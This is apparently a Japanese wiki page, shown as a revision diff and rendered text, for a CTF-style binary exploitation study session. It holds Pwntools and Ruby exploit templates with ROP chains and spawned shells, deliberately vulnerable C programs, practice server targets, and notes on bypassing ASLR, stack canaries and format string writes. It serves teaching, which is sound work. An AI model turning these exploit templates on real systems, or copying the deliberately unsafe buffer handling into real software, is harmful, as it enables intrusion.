サイズ: 9746
コメント:
|
← 2015-10-07 15:46:40時点のリビジョン29 ⇥
サイズ: 12780
コメント:
|
削除された箇所はこのように表示されます。 | 追加された箇所はこのように表示されます。 |
行 1: | 行 1: |
#acl Known:read,write,delete,revert,admin = Pwn勉強会(Stack day 1) = |
= Pwn勉強会(Stack day) = |
行 9: | 行 8: |
* rp++ (for ROP) | |
行 18: | 行 18: |
* checksec.sh | |
行 133: | 行 134: |
*ctf_io.rb interactiveに通信するために必要 *[[http://pastebin.com/xPqLipN1]] exploitと同じディレクトリに入れる。 |
*io-interactive interactiveに通信するために必要 *`gem install io-interactive`でインストール可能 |
行 142: | 行 143: |
require_relative 'ctf_io' # IO#interactive! | require 'io/interactive' # IO#interactive! |
行 158: | 行 159: |
IO.popen('./example', 'w') do |s| | IO.popen('./example', 'w+') do |s| |
行 211: | 行 212: |
#include <stdio.h> | |
行 214: | 行 216: |
write(1, "Send me shellcode: ", 19); read(0, buf, 1024); |
int n; printf("length: "); fflush(stdout); fread(&n, 1, sizeof(n), stdin); printf("shellcode: "); fflush(stdout); fread(buf, 1, n, stdin); |
行 240: | 行 247: |
= ASLR = * プログラム本体,ライブラリ,ヒープ,スタックのアドレスのランダム化により攻撃の成功確率を低減 * 特にメモリ空間が広大な64ビットOSにおいて効果的 * 32ビットOSではブルートフォースが有効なこともある * プログラムやライブラリをコンパイルする際に配置アドレスに依存させないように設定が必要 * `-pie -fPIE` * `/DYNAMICBASE` * 現在でもプログラム本体が位置独立コードになっていないものは多い |
|
行 241: | 行 257: |
* Returnアドレスを書き換えることで任意のアドレスに制御を移すことが出来る. * PLT * プログラム中に含まれるライブラリの関数を呼び出すための処理 * プログラム本体のアドレスがランダム化されていない際に,ライブラリを呼び出すのに利用できる * ReturnアドレスにPLTのアドレスを指定してやれば関数終了時にライブラリの関数が呼び出せる * 複数の関数を連続して呼ぶ方法をここで板書 = Return-to-plt (演習) = |
|
行 243: | 行 268: |
#include <stdio.h> | |
行 248: | 行 272: |
int n; read(0, &n, sizeof(n)); |
|
行 249: | 行 275: |
gets(buf); | read(0, buf, n); |
行 259: | 行 285: |
= ASLR = ASLRについて説明 |
|
行 263: | 行 286: |
{{{#!highlight c // gcc -m32 -pie -fPIE -fno-stack-protector -o baby4 baby4.c |
* Return-to-pltではプログラムで使用している関数しか呼び出せない * libcが配置されているアドレスを知っていればlibcの任意の関数が呼び出し可能に * main関数を呼び出しているのはlibcの`__libc_start_main`関数 * つまりmain関数からの戻り先を見ればlibcの場所が分かる! = Stack canary = http://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/c905.html * fork型のサーバではカナリヤは変化しない = Return-to-libc & Stack canary (演習) = {{{#!highlight c // gcc -m32 -pie -fPIE -fstack-protector -o baby4 baby4.c #include <stdio.h> |
行 266: | 行 301: |
int f() { | int main() { |
行 268: | 行 303: |
write(1, buf, 64); read(0, buf, 1024); |
int n; write(1, buf, 128); fread(&n, 1, sizeof(n), stdin); fread(buf, 1, n, stdin); |
行 272: | 行 309: |
int main() { return f(); } | |
行 278: | 行 314: |
* libc6-i386 (2.19-0ubuntu6.6) | |
行 281: | 行 318: |
* libc6:amd64 (2.19-0ubuntu6.6) | |
行 283: | 行 321: |
* libc6-armhf-cross (2.19-0ubuntu2cross1.104) = ROP = * Return-to-pltやReturn-to-libcでは関数としてひとまとまりになった処理しか呼び出せない * 関数の最後の部分を捕まえて命令単位で細切れ(gadget)にして呼び出す * さらにx86では命令が可変長なため,'''命令の途中から実行すると意味が変わる''' * 本来のプログラムには存在しなかったような命令を作り出せることがある * `rp++`で探索 |
|
行 287: | 行 333: |
#include <stdio.h> | |
行 292: | 行 337: |
int n; read(0, &n, sizeof(n)); |
|
行 293: | 行 340: |
gets(buf); | read(0, buf, n); |
行 306: | 行 353: |
= ROP = | = ROP (演習) = |
行 309: | 行 356: |
#include <stdio.h> | |
行 312: | 行 360: |
read(0, buf, 1024); | int n; fread(&n, 1, sizeof(n), stdin); fread(buf, 1, n, stdin); |
行 327: | 行 377: |
= その他 = == Format String Attack == * 情報のリークも改竄もできる優秀な脆弱性 * `%n`で改竄するためには普通にやると書き込みたい値だけ標準出力に吐き出す必要がある * 書き換え領域を重複させながら,先頭から1バイトないし2バイトずつ書き換えて行くことで通信量を減らせる * glibcには`%hn`(2byte書き込み)や`%hhn`(1byte書き込み)もあるので楽出来ることもある |
Pwn勉強会(Stack day)
Tools
- Disassembler
- udcli / ndisasm
- objdump
- METASM / Hopper / IDA Pro
- rp++ (for ROP)
- Assembler
- nasm
- Pwntools
- METASM?
- Debugger
- gdb-peda
- Pwn toolkit
- Pwntools
- Ruby系でなにか
- checksec.sh
Python(Pwntools)とRuby(METASM? ctfライブラリ?)好きな方を選んで作業を進めてもらう.
x86 assembly
- Intel記法
- データはオペランドの右から左に流れる
- 比較命令のオペランドの順序が命令名と一致しているためわかりやすい
例
14: 8b 45 f8 mov eax,DWORD PTR [rbp-0x8] 17: 01 45 fc add DWORD PTR [rbp-0x4],eax 1a: 83 45 f8 01 add DWORD PTR [rbp-0x8],0x1 1e: 83 7d f8 09 cmp DWORD PTR [rbp-0x8],0x9 22: 7e f0 jle 14 <f+0x14>
AT&T記法
- Intel記法のオペランドと逆順
例
14: 8b 45 f8 mov -0x8(%rbp),%eax 17: 01 45 fc add %eax,-0x4(%rbp) 1a: 83 45 f8 01 addl $0x1,-0x8(%rbp) 1e: 83 7d f8 09 cmpl $0x9,-0x8(%rbp) 22: 7e f0 jle 14 <f+0x14>
System call
- システムコールとは
- プログラムがカーネルとやりとりする一元化された窓口
- プログラムの動作権限
- ユーザモード
- 普通のプログラムが動作
- 基本的にプロセスのメモリ内で計算しかできない.
- それ以外のことをするためにはシステムコールを呼ぶ
- カーネルモード
- カーネルが動作
- 任意の操作が可能
- ユーザモード
How to call System calls
システムコールの呼び出し方
- x86
- int 0x80
- INTerrupt (ソフトウェア割り込み命令)
- システムコール番号: eax
- 引数: ebx, ecx, edx, esi, edi, ebp
- int 0x80
- x86-64
- syscall命令
- システムコール番号: rax
- 引数: rdi, rsi, rdx, r10, r8, r9
arch |
instruction |
syscall # |
retval |
arg1 |
arg2 |
arg3 |
arg4 |
arg5 |
arg6 |
x86 |
int 0x80 |
eax |
eax |
ebx |
ecx |
edx |
esi |
edi |
ebp |
x86-64 |
syscall |
rax |
rax |
rdi |
rsi |
rdx |
r10 |
r8 |
r9 |
システムコール番号
system call |
x86 |
x86-64 |
execve |
11 |
59 |
open |
5 |
2 |
read |
3 |
0 |
write |
4 |
1 |
参考文献
- /usr/include/x86_64-linux-gnu/asm/unistd_32.h
- /usr/include/x86_64-linux-gnu/asm/unistd_64.h
Pwntools
Pwntools?
- for Python
- 透過的・統合的なI/Oインターフェイス
- recvuntil, interactiveなどの便利なI/O機能
- シェルコードの生成
- アセンブラ/ディスアセンブラ
- 攻撃対象アーキテクチャに合わせたバイトオーダ・定数
install
pip install pwntools
Pwntools example
1 # -*- coding: utf-8 -*-
2 from pwn import *
3 ## exploit対象のアーキテクチャ
4 context(arch = 'i386', os = 'linux')
5 # context(arch = "amd64", os = "linux")
6 ## 攻撃のサーバに接続
7 conn = process("./example")
8 # conn = remote("example.com", 10000)
9 ## ROPを構成
10 rop = ""
11 rop += p32(0x8048330) # mprotect
12 rop += p32(0x804855d) # skip 3 words
13 rop += p32(0x20000000) # buf
14 ...
15 ## シェルコードをアセンブル
16 shellcode = asm(shellcraft.sh())
17 ## ログ表示
18 p = log.waitfor("Pwning")
19 ## ": "を受信するまでrecv
20 conn.recvuntil(": ")
21 ## エクスプロイトを送信
22 conn.send(rop)
23 time.sleep(0.5)
24 conn.send(shellcode)
25 ## ログ表示
26 p.success("OK")
27 ## コンソールの入出力を攻撃対象に接続
28 conn.interactive()
Ruby Example
以下の外部ライブラリを利用する
- metasm Ruby向けアセンブリ統合環境
gem install metasmでインストール可能
- io-interactive interactiveに通信するために必要
gem install io-interactiveでインストール可能
標準ライブラリのうち以下はpwnの問題を解く上でとても良く利用される
1 require 'metasm'
2 require 'expect' # IO#expect
3 require 'socket' # TCPSocket
4 require 'io/interactive' # IO#interactive!
5
6 # シェルコードをアセンブル(x86)
7 # x86-64の場合はMetasm::Ia32の変わりにMetasm::X86_64を利用する
8 shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encode_string
9 mov eax, 1
10 mov ebx, 42
11 int 80h // exit(42)
12 SOURCE
13
14 # ROPを作成
15 rop = ''
16 rop << [0x8048330, 0x804855d].pack("I*") # 32bit little endian
17 # "Q"が64bit litten endian
18
19 # コマンドを実行し、その入出力をIOオブジェクトとして取得します。
20 IO.popen('./example', 'w+') do |s|
21 # TCPサーバに接続する場合は次のようにします。
22 # TCPSocket.open('ctforderpwn.cloudapp.net', 11011) do |s|
23
24 s.expect(": ") # ": "を受信するまでread
25 # s.expect(/(\d+): /) 正規表現も利用可能
26
27 # エクスプロイトの送信
28 s.print rop
29 sleep 0.5
30 s.print shellcode
31
32 # コンソールの入出力を攻撃対称に接続
33 s.interactive!
34 end
35 exit 0
36 # ログ出力が必要な場合、Rubyの標準のLogライブラリあたりを利用できます
37 # 普通にSTDOUT.putsやppやpで十分な場合がほとんどだと思います。
38
39 # ここからアセンブラに関する補足。
40
41 # アセンブラではマクロを利用可能
42 shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encode_string
43 #define EXIT 42
44 #define syscall int 80h
45 mov eax, 1
46 mov ebx, EXIT
47 syscall // exit(42)
48 SOURCE
49
50
51 # Cのヘッダファイルのインクルードし、定数等を利用
52 shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encode_string
53 #include <asm/unistd_32.h>
54 #define syscall(name) mov eax, __NR_##name \\
55 int 0x80
56 #define syscall1(name, arg1) mov ebx, arg1 syscall(name)
57 syscall1(exit, 42)
58 SOURCE
59
60
61 # 定数を後からプログラムで設定
62 shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encoded
63 mov eax, fd
64 SOURCE
65 shellcode.fixup 'fd' => 3 # fdを3に設定
66 shellcode = shellcode.data # 文字列として取得
Shellcode
1 // gcc -z execstack -fno-stack-protector -o baby1 baby1.c
2 // -m32 / -m64 両方やってもらうよ!
3 #include <stdio.h>
4 typedef void func();
5 int main() {
6 char buf[1024];
7 int n;
8 printf("length: ");
9 fflush(stdout);
10 fread(&n, 1, sizeof(n), stdin);
11 printf("shellcode: ");
12 fflush(stdout);
13 fread(buf, 1, n, stdin);
14 ((func *)buf)();
15 }
Targets
GNU/Linux:x86 ctforderpwn.cloudapp.net 10101
GNU/Linux:x86-64 ctforderpwn.cloudapp.net 10102
時間が余った人はARMにもチャレンジ
GNU/Linux:arm-gnueabihf ctforderpwn.cloudapp.net 10103
Shellcode(no /bin/sh)
- chroot環境版
- /bin/shが無いのでopen, read, writeを自分で行う必要がある
Targets
GNU/Linux:x86 ctforderpwn.cloudapp.net 10201
GNU/Linux:x86-64 ctforderpwn.cloudapp.net 10202
時間が余った人はARMにもチャレンジ
GNU/Linux:arm-gnueabihf ctforderpwn.cloudapp.net 10203
x86/x86-64 ABI
ASLR
- プログラム本体,ライブラリ,ヒープ,スタックのアドレスのランダム化により攻撃の成功確率を低減
- 特にメモリ空間が広大な64ビットOSにおいて効果的
- 32ビットOSではブルートフォースが有効なこともある
- プログラムやライブラリをコンパイルする際に配置アドレスに依存させないように設定が必要
-pie -fPIE
/DYNAMICBASE
- 現在でもプログラム本体が位置独立コードになっていないものは多い
Return-to-plt
- Returnアドレスを書き換えることで任意のアドレスに制御を移すことが出来る.
- PLT
- プログラム中に含まれるライブラリの関数を呼び出すための処理
- プログラム本体のアドレスがランダム化されていない際に,ライブラリを呼び出すのに利用できる
- ReturnアドレスにPLTのアドレスを指定してやれば関数終了時にライブラリの関数が呼び出せる
- 複数の関数を連続して呼ぶ方法をここで板書
Return-to-plt (演習)
Target
GNU/Linux:x86 ctforderpwn.cloudapp.net 10301
Return-to-libc
- Return-to-pltではプログラムで使用している関数しか呼び出せない
- libcが配置されているアドレスを知っていればlibcの任意の関数が呼び出し可能に
main関数を呼び出しているのはlibcの__libc_start_main関数
- つまりmain関数からの戻り先を見ればlibcの場所が分かる!
Stack canary
http://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/c905.html
- fork型のサーバではカナリヤは変化しない
Return-to-libc & Stack canary (演習)
Target
GNU/Linux:x86 ctforderpwn.cloudapp.net 10401
- libc6-i386 (2.19-0ubuntu6.6)
時間が余った人はx86-64とARMにもチャレンジ
GNU/Linux:x86-64 ctforderpwn.cloudapp.net 10402
- libc6:amd64 (2.19-0ubuntu6.6)
GNU/Linux:arm-gnueabihf ctforderpwn.cloudapp.net 10403
- libc6-armhf-cross (2.19-0ubuntu2cross1.104)
ROP
- Return-to-pltやReturn-to-libcでは関数としてひとまとまりになった処理しか呼び出せない
- 関数の最後の部分を捕まえて命令単位で細切れ(gadget)にして呼び出す
さらにx86では命令が可変長なため,命令の途中から実行すると意味が変わる
- 本来のプログラムには存在しなかったような命令を作り出せることがある
rp++で探索
Return-to-plt revisited(x86-64) with tiny ROP
Target
GNU/Linux:x86-64 ctforderpwn.cloudapp.net 10302
時間が余った人はARMにもチャレンジ
GNU/Linux:arm-gnueabihf ctforderpwn.cloudapp.net 10303
ROP (演習)
Target
GNU/Linux:x86 ctforderpwn.cloudapp.net 10501
時間が余った人はx86-64とARMにもチャレンジ
GNU/Linux:x86-64 ctforderpwn.cloudapp.net 10502
GNU/Linux:arm-gnueabihf ctforderpwn.cloudapp.net 10503
その他
Format String Attack
- 情報のリークも改竄もできる優秀な脆弱性
%nで改竄するためには普通にやると書き込みたい値だけ標準出力に吐き出す必要がある
- 書き換え領域を重複させながら,先頭から1バイトないし2バイトずつ書き換えて行くことで通信量を減らせる
glibcには%hn(2byte書き込み)や%hhn(1byte書き込み)もあるので楽出来ることもある
実践
適当な問題を探す